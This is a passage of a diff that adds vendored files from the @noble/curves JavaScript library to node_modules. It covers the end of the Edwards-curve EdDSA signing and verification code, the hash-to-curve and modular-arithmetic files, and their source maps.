(this.equals(I) || n === _1n) + return this; + if (this.equals(G)) + return this.wNAF(n).p; + return wnaf.unsafeLadder(this, n); + } + // Checks if point is of small order. + // If you add something to small order point, you will have "dirty" + // point with torsion component. + // Multiplies point by cofactor and checks if the result is 0. + isSmallOrder() { + return this.multiplyUnsafe(cofactor).is0(); + } + // Multiplies point by curve order and checks if the result is 0. + // Returns `false` is the point is dirty. + isTorsionFree() { + return wnaf.unsafeLadder(this, CURVE_ORDER).is0(); + } + // Converts Extended point to default (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + toAffine(iz) { + const { ex: x, ey: y, ez: z } = this; + const is0 = this.is0(); + if (iz == null) + iz = is0 ? _8n : Fp.inv(z); // 8 was chosen arbitrarily + const ax = modP(x * iz); + const ay = modP(y * iz); + const zz = modP(z * iz); + if (is0) + return { x: _0n, y: _1n }; + if (zz !== _1n) + throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + clearCofactor() { + const { h: cofactor } = CURVE; + if (cofactor === _1n) + return this; + return this.multiplyUnsafe(cofactor); + } + // Converts hash string or Uint8Array to Point. + // Uses algo from RFC8032 5.1.3. + static fromHex(hex, zip215 = false) { + const { d, a } = CURVE; + const len = Fp.BYTES; + hex = (0, utils_js_1.ensureBytes)('pointHex', hex, len); // copy hex to a new array + const normed = hex.slice(); // copy again, we'll manipulate it + const lastByte = hex[len - 1]; // select last byte + normed[len - 1] = lastByte & ~0x80; // clear last bit + const y = ut.bytesToNumberLE(normed); + if (y === _0n) { + // y=0 is allowed + } + else { + // RFC8032 prohibits >= p, but ZIP215 doesn't + if (zip215) + assertInRange(y, MASK); // zip215=true [1..P-1] (2^255-19-1 for ed25519) + else + assertInRange(y, Fp.ORDER); // zip215=false [1..MASK-1] (2^256-1 for ed25519) + } + // Ed25519: x² = (y²-1)/(dy²+1) mod p. Ed448: x² = (y²-1)/(dy²-1) mod p. Generic case: + // ax²+y²=1+dx²y² => y²-1=dx²y²-ax² => y²-1=x²(dy²-a) => x²=(y²-1)/(dy²-a) + const y2 = modP(y * y); // denominator is always non-0 mod p. + const u = modP(y2 - _1n); // u = y² - 1 + const v = modP(d * y2 - a); // v = d y² + 1. + let { isValid, value: x } = uvRatio(u, v); // √(u/v) + if (!isValid) + throw new Error('Point.fromHex: invalid y coordinate'); + const isXOdd = (x & _1n) === _1n; // There are 2 square roots. Use x_0 bit to select proper + const isLastByteOdd = (lastByte & 0x80) !== 0; // x_0, last bit + if (!zip215 && x === _0n && isLastByteOdd) + // if x=0 and x_0 = 1, fail + throw new Error('Point.fromHex: x=0 and x_0=1'); + if (isLastByteOdd !== isXOdd) + x = modP(-x); // if x_0 != x mod 2, set x = p-x + return Point.fromAffine({ x, y }); + } + static fromPrivateKey(privKey) { + return getExtendedPublicKey(privKey).point; + } + toRawBytes() { + const { x, y } = this.toAffine(); + const bytes = ut.numberToBytesLE(y, Fp.BYTES); // each y has 2 x values (x, -y) + bytes[bytes.length - 1] |= x & _1n ? 0x80 : 0; // when compressing, it's enough to store y + return bytes; // and use the last byte to encode sign of x + } + toHex() { + return ut.bytesToHex(this.toRawBytes()); // Same as toRawBytes, but returns string. + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, _1n, modP(CURVE.Gx * CURVE.Gy)); + Point.ZERO = new Point(_0n, _1n, _1n, _0n); // 0, 1, 1, 0 + const { BASE: G, ZERO: I } = Point; + const wnaf = (0, curve_js_1.wNAF)(Point, nByteLength * 8); + function modN(a) { + return (0, modular_js_1.mod)(a, CURVE_ORDER); + } + // Little-endian SHA512 with modulo n + function modN_LE(hash) { + return modN(ut.bytesToNumberLE(hash)); + } + /** Convenience method that creates public key and other stuff. RFC8032 5.1.5 */ + function getExtendedPublicKey(key) { + const len = nByteLength; + key = (0, utils_js_1.ensureBytes)('private key', key, len); + // Hash private key with curve's hash function to produce uniformingly random input + // Check byte lengths: ensure(64, h(ensure(32, key))) + const hashed = (0, utils_js_1.ensureBytes)('hashed private key', cHash(key), 2 * len); + const head = adjustScalarBytes(hashed.slice(0, len)); // clear first half bits, produce FE + const prefix = hashed.slice(len, 2 * len); // second half is called key prefix (5.1.6) + const scalar = modN_LE(head); // The actual private scalar + const point = G.multiply(scalar); // Point on Edwards curve aka public key + const pointBytes = point.toRawBytes(); // Uint8Array representation + return { head, prefix, scalar, point, pointBytes }; + } + // Calculates EdDSA pub key. RFC8032 5.1.5. Privkey is hashed. Use first half with 3 bits cleared + function getPublicKey(privKey) { + return getExtendedPublicKey(privKey).pointBytes; + } + // int('LE', SHA512(dom2(F, C) || msgs)) mod N + function hashDomainToScalar(context = new Uint8Array(), ...msgs) { + const msg = ut.concatBytes(...msgs); + return modN_LE(cHash(domain(msg, (0, utils_js_1.ensureBytes)('context', context), !!prehash))); + } + /** Signs message with privateKey. RFC8032 5.1.6 */ + function sign(msg, privKey, options = {}) { + msg = (0, utils_js_1.ensureBytes)('message', msg); + if (prehash) + msg = prehash(msg); // for ed25519ph etc. + const { prefix, scalar, pointBytes } = getExtendedPublicKey(privKey); + const r = hashDomainToScalar(options.context, prefix, msg); // r = dom2(F, C) || prefix || PH(M) + const R = G.multiply(r).toRawBytes(); // R = rG + const k = hashDomainToScalar(options.context, R, pointBytes, msg); // R || A || PH(M) + const s = modN(r + k * scalar); // S = (r + k * s) mod L + assertGE0(s); // 0 <= s < l + const res = ut.concatBytes(R, ut.numberToBytesLE(s, Fp.BYTES)); + return (0, utils_js_1.ensureBytes)('result', res, nByteLength * 2); // 64-byte signature + } + const verifyOpts = VERIFY_DEFAULT; + function verify(sig, msg, publicKey, options = verifyOpts) { + const { context, zip215 } = options; + const len = Fp.BYTES; // Verifies EdDSA signature against message and public key. RFC8032 5.1.7. + sig = (0, utils_js_1.ensureBytes)('signature', sig, 2 * len); // An extended group equation is checked. + msg = (0, utils_js_1.ensureBytes)('message', msg); + if (prehash) + msg = prehash(msg); // for ed25519ph, etc + const s = ut.bytesToNumberLE(sig.slice(len, 2 * len)); + // zip215: true is good for consensus-critical apps and allows points < 2^256 + // zip215: false follows RFC8032 / NIST186-5 and restricts points to CURVE.p + let A, R, SB; + try { + A = Point.fromHex(publicKey, zip215); + R = Point.fromHex(sig.slice(0, len), zip215); + SB = G.multiplyUnsafe(s); // 0 <= s < l is done inside + } + catch (error) { + return false; + } + if (!zip215 && A.isSmallOrder()) + return false; + const k = hashDomainToScalar(context, R.toRawBytes(), A.toRawBytes(), msg); + const RkA = R.add(A.multiplyUnsafe(k)); + // [8][S]B = [8]R + [8][k]A' + return RkA.subtract(SB).clearCofactor().equals(Point.ZERO); + } + G._setWindowSize(8); // Enable precomputes. Slows down first publicKey computation by 20ms. + const utils = { + getExtendedPublicKey, + // ed25519 private keys are uniform 32b. No need to check for modulo bias, like in secp256k1. + randomPrivateKey: () => randomBytes(Fp.BYTES), + /** + * We're doing scalar multiplication (used in getPublicKey etc) with precomputed BASE_POINT + * values. This slows down first getPublicKey() by milliseconds (see Speed section), + * but allows to speed-up subsequent getPublicKey() calls up to 20x. + * @param windowSize 2, 4, 8, 16 + */ + precompute(windowSize = 8, point = Point.BASE) { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); + return point; + }, + }; + return { + CURVE, + getPublicKey, + sign, + verify, + ExtendedPoint: Point, + utils, + }; +} +exports.twistedEdwards = twistedEdwards; +//# sourceMappingURL=edwards.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/edwards.js.map b/node_modules/@noble/curves/abstract/edwards.js.map new file mode 100644 index 000000000000..73ac6d5a0f4e --- /dev/null +++ b/node_modules/@noble/curves/abstract/edwards.js.map @@ -0,0 +1 @@ +{"version":3,"file":"edwards.js","sourceRoot":"","sources":["../src/abstract/edwards.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,8DAA8D;AAC9D,6CAAmC;AACnC,iCAAiC;AACjC,yCAAqD;AACrD,yCAAmG;AAEnG,qEAAqE;AACrE,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAezE,8EAA8E;AAC9E,MAAM,cAAc,GAAG,EAAE,MAAM,EAAE,IAAI,EAAE,CAAC;AAExC,SAAS,YAAY,CAAC,KAAgB;IACpC,MAAM,IAAI,GAAG,IAAA,wBAAa,EAAC,KAAK,CAAC,CAAC;IAClC,EAAE,CAAC,cAAc,CACf,KAAK,EACL;QACE,IAAI,EAAE,UAAU;QAChB,CAAC,EAAE,QAAQ;QACX,CAAC,EAAE,QAAQ;QACX,WAAW,EAAE,UAAU;KACxB,EACD;QACE,iBAAiB,EAAE,UAAU;QAC7B,MAAM,EAAE,UAAU;QAClB,OAAO,EAAE,UAAU;QACnB,UAAU,EAAE,UAA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6FAA6F;QAC7F,gBAAgB,EAAE,GAAe,EAAE,CAAC,WAAW,CAAC,EAAE,CAAC,KAAK,CAAC;QAEzD;;;;;WAKG;QACH,UAAU,CAAC,UAAU,GAAG,CAAC,EAAE,KAAK,GAAG,KAAK,CAAC,IAAI;YAC3C,KAAK,CAAC,cAAc,CAAC,UAAU,CAAC,CAAC;YACjC,KAAK,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;YAC1B,OAAO,KAAK,CAAC;QACf,CAAC;KACF,CAAC;IAEF,OAAO;QACL,KAAK;QACL,YAAY;QACZ,IAAI;QACJ,MAAM;QACN,aAAa,EAAE,KAAK;QACpB,KAAK;KACN,CAAC;AACJ,CAAC;AA9ZD,wCA8ZC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/hash-to-curve.d.ts b/node_modules/@noble/curves/abstract/hash-to-curve.d.ts new file mode 100644 index 000000000000..5720293ed122 --- /dev/null +++ b/node_modules/@noble/curves/abstract/hash-to-curve.d.ts @@ -0,0 +1,57 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import type { Group, GroupConstructor, AffinePoint } from './curve.js'; +import { IField } from './modular.js'; +import { CHash } from './utils.js'; +/** + * * `DST` is a domain separation tag, defined in section 2.2.5 + * * `p` characteristic of F, where F is a finite field of characteristic p and order q = p^m + * * `m` is extension degree (1 for prime fields) + * * `k` is the target security target in bits (e.g. 128), from section 5.1 + * * `expand` is `xmd` (SHA2, SHA3, BLAKE) or `xof` (SHAKE, BLAKE-XOF) + * * `hash` conforming to `utils.CHash` interface, with `outputLen` / `blockLen` props + */ +type UnicodeOrBytes = string | Uint8Array; +export type Opts = { + DST: UnicodeOrBytes; + p: bigint; + m: number; + k: number; + expand: 'xmd' | 'xof'; + hash: CHash; +}; +export declare function expand_message_xmd(msg: Uint8Array, DST: Uint8Array, lenInBytes: number, H: CHash): Uint8Array; +export declare function expand_message_xof(msg: Uint8Array, DST: Uint8Array, lenInBytes: number, k: number, H: CHash): Uint8Array; +/** + * Hashes arbitrary-length byte strings to a list of one or more elements of a finite field F + * https://www.rfc-editor.org/rfc/rfc9380#section-5.2 + * @param msg a byte string containing the message to hash + * @param count the number of elements of F to output + * @param options `{DST: string, p: bigint, m: number, k: number, expand: 'xmd' | 'xof', hash: H}`, see above + * @returns [u_0, ..., u_(count - 1)], a list of field elements. + */ +export declare function hash_to_field(msg: Uint8Array, count: number, options: Opts): bigint[][]; +export declare function isogenyMap>(field: F, map: [T[], T[], T[], T[]]): (x: T, y: T) => { + x: T; + y: T; +}; +export interface H2CPoint extends Group> { + add(rhs: H2CPoint): H2CPoint; + toAffine(iz?: bigint): AffinePoint; + clearCofactor(): H2CPoint; + assertValidity(): void; +} +export interface H2CPointConstructor extends GroupConstructor> { + fromAffine(ap: AffinePoint): H2CPoint; +} +export type MapToCurve = (scalar: bigint[]) => AffinePoint; +export type htfBasicOpts = { + DST: UnicodeOrBytes; +}; +export declare function createHasher(Point: H2CPointConstructor, mapToCurve: MapToCurve, def: Opts & { + encodeDST?: UnicodeOrBytes; +}): { + hashToCurve(msg: Uint8Array, options?: htfBasicOpts): H2CPoint; + encodeToCurve(msg: Uint8Array, options?: htfBasicOpts): H2CPoint; +}; +export {}; +//# sourceMappingURL=hash-to-curve.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/hash-to-curve.d.ts.map b/node_modules/@noble/curves/abstract/hash-to-curve.d.ts.map new file mode 100644 index 000000000000..e74c0d7f808e --- /dev/null +++ b/node_modules/@noble/curves/abstract/hash-to-curve.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"hash-to-curve.d.ts","sourceRoot":"","sources":["../src/abstract/hash-to-curve.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,OAAO,KAAK,EAAE,KAAK,EAAE,gBAAgB,EAAE,WAAW,EAAE,MAAM,YAAY,CAAC;AACvE,OAAO,EAAO,MAAM,EAAE,MAAM,cAAc,CAAC;AAC3C,OA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AM,GAAG,WAAW,CAAC,CAAC,CAAC,CAAC;IACtC,aAAa,IAAI,QAAQ,CAAC,CAAC,CAAC,CAAC;IAC7B,cAAc,IAAI,IAAI,CAAC;CACxB;AAED,MAAM,WAAW,mBAAmB,CAAC,CAAC,CAAE,SAAQ,gBAAgB,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC;IAC3E,UAAU,CAAC,EAAE,EAAE,WAAW,CAAC,CAAC,CAAC,GAAG,QAAQ,CAAC,CAAC,CAAC,CAAC;CAC7C;AAED,MAAM,MAAM,UAAU,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,WAAW,CAAC,CAAC,CAAC,CAAC;AAIjE,MAAM,MAAM,YAAY,GAAG;IAAE,GAAG,EAAE,cAAc,CAAA;CAAE,CAAC;AAEnD,wBAAgB,YAAY,CAAC,CAAC,EAC5B,KAAK,EAAE,mBAAmB,CAAC,CAAC,CAAC,EAC7B,UAAU,EAAE,UAAU,CAAC,CAAC,CAAC,EACzB,GAAG,EAAE,IAAI,GAAG;IAAE,SAAS,CAAC,EAAE,cAAc,CAAA;CAAE;qBAMvB,UAAU,YAAY,YAAY;uBAWhC,UAAU,YAAY,YAAY;EAOxD"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/hash-to-curve.js b/node_modules/@noble/curves/abstract/hash-to-curve.js new file mode 100644 index 000000000000..aaab7c5ea498 --- /dev/null +++ b/node_modules/@noble/curves/abstract/hash-to-curve.js @@ -0,0 +1,181 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.createHasher = exports.isogenyMap = exports.hash_to_field = exports.expand_message_xof = exports.expand_message_xmd = void 0; +const modular_js_1 = require("./modular.js"); +const utils_js_1 = require("./utils.js"); +function validateDST(dst) { + if (dst instanceof Uint8Array) + return dst; + if (typeof dst === 'string') + return (0, utils_js_1.utf8ToBytes)(dst); + throw new Error('DST must be Uint8Array or string'); +} +// Octet Stream to Integer. "spec" implementation of os2ip is 2.5x slower vs bytesToNumberBE. +const os2ip = utils_js_1.bytesToNumberBE; +// Integer to Octet Stream (numberToBytesBE) +function i2osp(value, length) { + if (value < 0 || value >= 1 << (8 * length)) { + throw new Error(`bad I2OSP call: value=${value} length=${length}`); + } + const res = Array.from({ length }).fill(0); + for (let i = length - 1; i >= 0; i--) { + res[i] = value & 0xff; + value >>>= 8; + } + return new Uint8Array(res); +} +function strxor(a, b) { + const arr = new Uint8Array(a.length); + for (let i = 0; i < a.length; i++) { + arr[i] = a[i] ^ b[i]; + } + return arr; +} +function isBytes(item) { + if (!(item instanceof Uint8Array)) + throw new Error('Uint8Array expected'); +} +function isNum(item) { + if (!Number.isSafeInteger(item)) + throw new Error('number expected'); +} +// Produces a uniformly random byte string using a cryptographic hash function H that outputs b bits +// https://www.rfc-editor.org/rfc/rfc9380#section-5.3.1 +function expand_message_xmd(msg, DST, lenInBytes, H) { + isBytes(msg); + isBytes(DST); + isNum(lenInBytes); + // https://www.rfc-editor.org/rfc/rfc9380#section-5.3.3 + if (DST.length > 255) + DST = H((0, utils_js_1.concatBytes)((0, utils_js_1.utf8ToBytes)('H2C-OVERSIZE-DST-'), DST)); + const { outputLen: b_in_bytes, blockLen: r_in_bytes } = H; + const ell = Math.ceil(lenInBytes / b_in_bytes); + if (ell > 255) + throw new Error('Invalid xmd length'); + const DST_prime = (0, utils_js_1.concatBytes)(DST, i2osp(DST.length, 1)); + const Z_pad = i2osp(0, r_in_bytes); + const l_i_b_str = i2osp(lenInBytes, 2); // len_in_bytes_str + const b = new Array(ell); + const b_0 = H((0, utils_js_1.concatBytes)(Z_pad, msg, l_i_b_str, i2osp(0, 1), DST_prime)); + b[0] = H((0, utils_js_1.concatBytes)(b_0, i2osp(1, 1), DST_prime)); + for (let i = 1; i <= ell; i++) { + const args = [strxor(b_0, b[i - 1]), i2osp(i + 1, 1), DST_prime]; + b[i] = H((0, utils_js_1.concatBytes)(...args)); + } + const pseudo_random_bytes = (0, utils_js_1.concatBytes)(...b); + return pseudo_random_bytes.slice(0, lenInBytes); +} +exports.expand_message_xmd = expand_message_xmd; +// Produces a uniformly random byte string using an extendable-output function (XOF) H. +// 1. The collision resistance of H MUST be at least k bits. +// 2. H MUST be an XOF that has been proved indifferentiable from +// a random oracle under a reasonable cryptographic assumption. +// https://www.rfc-editor.org/rfc/rfc9380#section-5.3.2 +function expand_message_xof(msg, DST, lenInBytes, k, H) { + isBytes(msg); + isBytes(DST); + isNum(lenInBytes); + // https://www.rfc-editor.org/rfc/rfc9380#section-5.3.3 + // DST = H('H2C-OVERSIZE-DST-' || a_very_long_DST, Math.ceil((lenInBytes * k) / 8)); + if (DST.length > 255) { + const dkLen = Math.ceil((2 * k) / 8); + DST = H.create({ dkLen }).update((0, utils_js_1.utf8ToBytes)('H2C-OVERSIZE-DST-')).update(DST).digest(); + } + if (lenInBytes > 65535 || DST.length > 255) + throw new Error('expand_message_xof: invalid lenInBytes'); + return (H.create({ dkLen: lenInBytes }) + .update(msg) + .update(i2osp(lenInBytes, 2)) + // 2. DST_prime = DST || I2OSP(len(DST), 1) + .update(DST) + .update(i2osp(DST.length, 1)) + .digest()); +} +exports.expand_message_xof = expand_message_xof; +/** + * Hashes arbitrary-length byte strings to a list of one or more elements of a finite field F + * https://www.rfc-editor.org/rfc/rfc9380#section-5.2 + * @param msg a byte string containing the message to hash + * @param count the number of elements of F to output + * @param options `{DST: string, p: bigint, m: number, k: number, expand: 'xmd' | 'xof', hash: H}`, see above + * @returns [u_0, ..., u_(count - 1)], a list of field elements. + */ +function hash_to_field(msg, count, options) { + (0, utils_js_1.validateObject)(options, { + DST: 'stringOrUint8Array', + p: 'bigint', + m: 'isSafeInteger', + k: 'isSafeInteger', + hash: 'hash', + }); + const { p, k, m, hash, expand, DST: _DST } = options; + isBytes(msg); + isNum(count); + const DST = validateDST(_DST); + const log2p = p.toString(2).length; + const L = Math.ceil((log2p + k) / 8); // section 5.1 of ietf draft link above + const len_in_bytes = count * m * L; + let prb; // pseudo_random_bytes + if (expand === 'xmd') { + prb = expand_message_xmd(msg, DST, len_in_bytes, hash); + } + else if (expand === 'xof') { + prb = expand_message_xof(msg, DST, len_in_bytes, k, hash); + } + else if (expand === '_internal_pass') { + // for internal tests only + prb = msg; + } + else { + throw new Error('expand must be "xmd" or "xof"'); + } + const u = new Array(count); + for (let i = 0; i < count; i++) { + const e = new Array(m); + for (let j = 0; j < m; j++) { + const elm_offset = L * (j + i * m); + const tv = prb.subarray(elm_offset, elm_offset + L); + e[j] = (0, modular_js_1.mod)(os2ip(tv), p); + } + u[i] = e; + } + return u; +} +exports.hash_to_field = hash_to_field; +function isogenyMap(field, map) { + // Make same order as in spec + const COEFF = map.map((i) => Array.from(i).reverse()); + return (x, y) => { + const [xNum, xDen, yNum, yDen] = COEFF.map((val) => val.reduce((acc, i) => field.add(field.mul(acc, x), i))); + x = field.div(xNum, xDen); // xNum / xDen + y = field.mul(y, field.div(yNum, yDen)); // y * (yNum / yDev) + return { x, y }; + }; +} +exports.isogenyMap = isogenyMap; +function createHasher(Point, mapToCurve, def) { + if (typeof mapToCurve !== 'function') + throw new Error('mapToCurve() must be defined'); + return { + // Encodes byte string to elliptic curve. + // hash_to_curve from https://www.rfc-editor.org/rfc/rfc9380#section-3 + hashToCurve(msg, options) { + const u = hash_to_field(msg, 2, { ...def, DST: def.DST, ...options }); + const u0 = Point.fromAffine(mapToCurve(u[0])); + const u1 = Point.fromAffine(mapToCurve(u[1])); + const P = u0.add(u1).clearCofactor(); + P.assertValidity(); + return P; + }, + // Encodes byte string to elliptic curve. + // encode_to_curve from https://www.rfc-editor.org/rfc/rfc9380#section-3 + encodeToCurve(msg, options) { + const u = hash_to_field(msg, 1, { ...def, DST: def.encodeDST, ...options }); + const P = Point.fromAffine(mapToCurve(u[0])).clearCofactor(); + P.assertValidity(); + return P; + }, + }; +} +exports.createHasher = createHasher; +//# sourceMappingURL=hash-to-curve.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/hash-to-curve.js.map b/node_modules/@noble/curves/abstract/hash-to-curve.js.map new file mode 100644 index 000000000000..d59745d6f0ee --- /dev/null +++ b/node_modules/@noble/curves/abstract/hash-to-curve.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hash-to-curve.js","sourceRoot":"","sources":["../src/abstract/hash-to-curve.ts"],"names":[],"mappings":";;;AAEA,6CAA2C;AAC3C,yCAA8F;AAoB9F,SAAS,WAAW,CAAC,GAAmB;IACtC,IAAI,GAAG,YAAY,UAAU;QAAE,OAAO,GAAG,CAAC;IAC1C,IAAI,OAAO,GAAG,KAAK,QAAQ;QAAE,OAAO,IAAA,sBAAW,EAAC,GAAG,CAAC,CAAC;IACrD,MAAM,IAAI,KAAK,CAAC,kCAAkC,CAAC,CAAC;AACtD,CAAC;AAED,6FAA6F;AAC7F,MAAM,KAAK,GAAG,0BAAe,CAAC;AAE9B,4CAA4C;AAC5C,SAAS,KAAK,CAAC,KAAa,EAAE,MAAc;IAC1C,IAAI,KAAK,GAAG,CAAC,IAAI,KAAK,IAAI,CAAC,IAAI,CAAC,CAAC,GAAG,MAAM,CAAC,EAAE;QAC3C,MAAM,IAAI,KAAK,CAAC,yBAAyB,KAAK,WAAW,MAAM,EAAE,CAAC,CAAC;KACpE;IACD,MAAM,GAAG,GAAG,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC,CAAa,CAAC;IACvD,KAAK,IAAI,CAAC,GAAG,MAAM,GAAG,CAAC,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,EAAE;QACpC,GAAG,CAAC,CAAC,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;QACtB,KAAK,MAAM,CAAC,CAAC;KACd;IACD,OAAO,IAAI,UAAU,CAAC,GAAG,CAAC,CAAC;AAC7B,CAAC;AAED,SAAS,MAAM,CAAC,CAAa,EAAE,CAAa;IAC1C,MAAM,GAAG,GAAG,IAAI,UAAU,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC;IACrC,KAA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UAAyB,EACzB,GAA0C;IAE1C,IAAI,OAAO,UAAU,KAAK,UAAU;QAAE,MAAM,IAAI,KAAK,CAAC,8BAA8B,CAAC,CAAC;IACtF,OAAO;QACL,yCAAyC;QACzC,sEAAsE;QACtE,WAAW,CAAC,GAAe,EAAE,OAAsB;YACjD,MAAM,CAAC,GAAG,aAAa,CAAC,GAAG,EAAE,CAAC,EAAE,EAAE,GAAG,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,GAAG,EAAE,GAAG,OAAO,EAAU,CAAC,CAAC;YAC9E,MAAM,EAAE,GAAG,KAAK,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YAC9C,MAAM,EAAE,GAAG,KAAK,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YAC9C,MAAM,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC,aAAa,EAAE,CAAC;YACrC,CAAC,CAAC,cAAc,EAAE,CAAC;YACnB,OAAO,CAAC,CAAC;QACX,CAAC;QAED,yCAAyC;QACzC,wEAAwE;QACxE,aAAa,CAAC,GAAe,EAAE,OAAsB;YACnD,MAAM,CAAC,GAAG,aAAa,CAAC,GAAG,EAAE,CAAC,EAAE,EAAE,GAAG,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,SAAS,EAAE,GAAG,OAAO,EAAU,CAAC,CAAC;YACpF,MAAM,CAAC,GAAG,KAAK,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,aAAa,EAAE,CAAC;YAC7D,CAAC,CAAC,cAAc,EAAE,CAAC;YACnB,OAAO,CAAC,CAAC;QACX,CAAC;KACF,CAAC;AACJ,CAAC;AA3BD,oCA2BC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/modular.d.ts b/node_modules/@noble/curves/abstract/modular.d.ts new file mode 100644 index 000000000000..42d49266fd15 --- /dev/null +++ b/node_modules/@noble/curves/abstract/modular.d.ts @@ -0,0 +1,123 @@ +export declare function mod(a: bigint, b: bigint): bigint; +/** + * Efficiently raise num to power and do modular division. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + * @example + * pow(2n, 6n, 11n) // 64n % 11n == 9n + */ +export declare function pow(num: bigint, power: bigint, modulo: bigint): bigint; +export declare function pow2(x: bigint, power: bigint, modulo: bigint): bigint; +export declare function invert(number: bigint, modulo: bigint): bigint; +/** + * Tonelli-Shanks square root search algorithm. + * 1. https://eprint.iacr.org/2012/685.pdf (page 12) + * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks + * Will start an infinite loop if field order P is not prime. + * @param P field order + * @returns function that takes field Fp (created from P) and number n + */ +export declare function tonelliShanks(P: bigint): (Fp: IField, n: T) => T; +export declare function FpSqrt(P: bigint): (Fp: IField, n: T) => T; +export declare const isNegativeLE: (num: bigint, modulo: bigint) => boolean; +export interface IField { + ORDER: bigint; + BYTES: number; + BITS: number; + MASK: bigint; + ZERO: T; + ONE: T; + create: (num: T) => T; + isValid: (num: T) => boolean; + is0: (num: T) => boolean; + neg(num: T): T; + inv(num: T): T; + sqrt(num: T): T; + sqr(num: T): T; + eql(lhs: T, rhs: T): boolean; + add(lhs: T, rhs: T): T; + sub(lhs: T, rhs: T): T; + mul(lhs: T, rhs: T | bigint): T; + pow(lhs: T, power: bigint): T; + div(lhs: T, rhs: T | bigint): T; + addN(lhs: T, rhs: T): T; + subN(lhs: T, rhs: T): T; + mulN(lhs: T, rhs: T | bigint): T; + sqrN(num: T): T; + isOdd?(num: T): boolean; + pow(lhs: T, power: bigint): T; + invertBatch: (lst: T[]) => T[]; + toBytes(num: T): Uint8Array; + fromBytes(bytes: Uint8Array): T; + cmov(a: T, b: T, c: boolean): T; +} +export declare function validateField(field: IField): IField; +/** + * Same as `pow` but for Fp: non-constant-time. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + */ +export declare function FpPow(f: IField, num: T, power: bigint): T; +/** + * Efficiently invert an array of Field elements. + * `inv(0)` will return `undefined` here: make sure to throw an error. + */ +export declare function FpInvertBatch(f: IField, nums: T[]): T[]; +export declare function FpDiv(f: IField, lhs: T, rhs: T | bigint): T; +export declare function FpIsSquare(f: IField): (x: T) => boolean; +export declare function nLength(n: bigint, nBitLength?: number): { + nBitLength: number; + nByteLength: number; +}; +type FpField = IField & Required, 'isOdd'>>; +/** + * Initializes a finite field over prime. **Non-primes are not supported.** + * Do not init in loop: slow. Very fragile: always run a benchmark on a change. + * Major performance optimizations: + * * a) denormalized operations like mulN instead of mul + * * b) same object shape: never add or remove keys + * * c) Object.freeze + * @param ORDER prime positive bigint + * @param bitLen how many bits the field consumes + * @param isLE (def: false) if encoding / decoding should be in little-endian + * @param redef optional faster redefinitions of sqrt and other methods + */ +export declare function Field(ORDER: bigint, bitLen?: number, isLE?: boolean, redef?: Partial>): Readonly; +export declare function FpSqrtOdd(Fp: IField, elm: T): T; +export declare function FpSqrtEven(Fp: IField, elm: T): T; +/** + * "Constant-time" private key generation utility. + * Same as mapKeyToField, but accepts less bytes (40 instead of 48 for 32-byte field). + * Which makes it slightly more biased, less secure. + * @deprecated use mapKeyToField instead + */ +export declare function hashToPrivateScalar(hash: string | Uint8Array, groupOrder: bigint, isLE?: boolean): bigint; +/** + * Returns total number of bytes consumed by the field element. + * For example, 32 bytes for usual 256-bit weierstrass curve. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of field + */ +export declare function getFieldBytesLength(fieldOrder: bigint): number; +/** + * Returns minimal amount of bytes that can be safely reduced + * by field order. + * Should be 2^-128 for 128-bit curve such as P256. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of target hash + */ +export declare function getMinHashLength(fieldOrder: bigint): number; +/** + * "Constant-time" private key generation utility. + * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF + * and convert them into private scalar, with the modulo bias being negligible. + * Needs at least 48 bytes of input for 32-byte private key. + * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/ + * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final + * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5 + * @param hash hash output from SHA3 or a similar function + * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n) + * @param isLE interpret hash bytes as LE num + * @returns valid private scalar + */ +export declare function mapHashToField(key: Uint8Array, fieldOrder: 